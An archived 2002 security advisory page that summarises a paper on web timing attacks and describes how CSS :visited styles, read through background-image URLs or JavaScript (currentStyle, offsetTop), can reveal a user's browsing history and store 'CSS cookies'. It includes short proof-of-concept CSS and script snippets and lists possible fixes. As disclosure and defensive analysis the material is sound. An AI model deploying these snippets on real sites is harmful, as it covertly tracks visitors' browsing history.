

The Wayback Machine - <https://web.archive.org/web/20021020062537/http://www.securiteam.com:80/securit...>
Beyond-Security's SecuriTeam.com

[SecuriTeam Home](#)
[About SecuriTeam](#)
[Ask the Team](#)
[Advertising Info](#)
[Security News](#)
[Security Reviews](#)
[Exploits](#)
[Tools](#)
[UNIX focus](#)
[Windows NT focus](#)

Search 

1. [Chrooting Daemons and System Processes HOW-TO](#)
2. [Hacking Citrix Frequently Asked Questions](#)
3. [Designing Shellcode Demystified](#)
4. [Buffer Overflow Demystified](#)
5. [A Buffer Overflow Study - Attacks & Defenses](#)



[E-Mail this article to a friend](#)
[Send us comments](#)



Quicken Loans Best Of The Web

Title

20/2/2002

Timing Attacks on Web Privacy (Paper and Specific Issue)

Summary

In the article: <http://www.cs.princeton.edu/sip/pub/webtiming.pdf>, Felten and Schneider outline a method for pages on an attacking server to detect whether pages on another server have been visited, by trying to fetch a URL from the target server and using the time taken to fetch it to guess whether the URL was in the browser's local cache. A method is also suggested to use the browser cache, read this way, as a store for persistent user data ("cache cookies"). CSS has a feature that can be abused to exactly the same ends. It is simpler, more accurate, and more easily abused than the timing attacks described in the above paper.

Details

Abstract of the paper:

The paper describes a class of attacks that can compromise the privacy of users' Web-browsing histories. The attacks allow a malicious Web site to determine whether the user has recently visited some other, unrelated Web page. The malicious page can determine this information by measuring the time the user's browser requires performing certain operations. Since browsers perform various forms of caching, the time required for operations depends on the user's browsing history; this paper shows that the resulting time variations convey enough information to compromise users' privacy. This attack method also allows other types of information gathering by Web sites, such as a more invasive form of Web "cookies". The attacks we describe can be carried out without the victim's knowledge and most "anonymous browsing" tools fail to prevent them. Other simple countermeasures also fail to prevent these attacks. The paper describes a way of reengineering browsers to prevent! most of them.

Specific issue:

The CSS :visited pseudo-class can be used to apply different on-screen styling to links leading to pages the user has already visited. However, the styling can have side effects that can be detected by the attacking server. For example, the page at <http://www.smith-widgets.foo/> could include the following markup:

```
<a id="jones" href="http://www.jones-widgets.foo"></a>
```

With the style:

```
#jones:visited { background: url(/visited.cgi?site=jones); }
```

In this case, the side effect of the style will be a call to the CGI at smith-widgets if the user has visited jones-widgets. The script there could log this information, associate it with any cookies passed, and then return a transparent background image set to expire soon.

Any property that can be given with a <uri> parameter could be abused this way. CSS2

defines background-image, list-style-image (trickier to use without fiddling with display properties or using CSS3 selectors, as a list cannot normally go inside a link), content and cursor (trickier to use due to poor browser support), and various Aural CSS properties (again, terrible browser support).

The simple answer to this problem would be to have all URIs associated with :visited conditions are fetched regardless of whether the link has been visited or not. However, apart from the performance penalty this would incur, it does not solve the problem for browsers with the capability to read calculated styles. JavaScript can then be used to detect other side-effects, if it is enabled.

Internet Explorer gives each document element a 'currentStyle' object which can be queried to read which the calculated styles applied to that element, which can be used to determine whether a :visited rules was applied:

```
a { color: blue; }
a:visited { color: red; }

if (document.getElementById('jones').currentStyle.color=='red')
  document.writeln('<p>Hello! I see you\'ve been to Jones. ');
  document.writeln('Don\'t buy from Jones - their widgets');
  document.writeln('are made from recycled babies.</p>');
```

Mozilla's support of DOM Views should be able to do the same sort of thing. Even without direct access to calculated style objects, there are ways to imply which rules have been used, for example using the on-screen positions of elements:

```
#jones { position: absolute; top: 0; }
#jones:visited { top: 100px; }

if (document.getElementById('jones').offsetTop>50)
  ...
```

Internet Explorer's offsetFoo properties are also supported by Mozilla, and, we believe, Konqueror as well.

The primitive one-bit-cache-storage "cache cookies" idea can also be used with one-bit-history-list-storage to get "CSS cookies". To write to the history list would require an actual visit to the page, not just an attempt to load it; this could be achieved using an invisible frame. Mozilla also counts an <iframe> as being a visit, but IE does not. Using :visited rules then gives non-destructive read capability to the history list. Many single bits (documents) would have to be used to store any practical amount of user data, which is presumably why 'cache cookies' have not been exploited so far.

Possible solutions to the problem:

(a) as well as fetching all URIs independent of :visited conditions, removing all access to calculated styles and other run-time properties such as positioning. Unfortunately, these features can be very useful to web authors! There is no practical way to limit access to elements unaffected by :visited styles.

(b) as well as fetching :visited URIs, advising users to turn scripting off in non-trusted sites. This is probably a good idea in any case, but users never do it.

(c) something similar to Felten and Schneider's proposed 'domain tagging' - make 'visited' links only look 'visited' when they point to documents in the same domain as the current page. This would be a severe blow to the functionality and usability expected of visited links.

Vendor response:

This is a general problem with implementing CSS, not a browser bug, and not one with a simple fix. For this reason, we have not contacted vendors.

Internet Explorer and Mozilla are known to be vulnerable; Netscape 4 and Opera are probably not, as their layout algorithms seem to be incapable of applying properties with side effects to pseudo-classes, and their object models do not allow access to calculated styles. However, the next major version of Opera will probably be affected. It is expected some other browsers we have not tested will also be vulnerable.

Additional information

The paper can be downloaded from: <http://www.cs.princeton.edu/sip/pub/webtiming.pdf>
The information has been provided by [Andrew Clover](#).

Copyright © 1998-2001 [Beyond Security Ltd.](#) All rights reserved.
[Terms of Use](#) [Site Privacy Statement](#).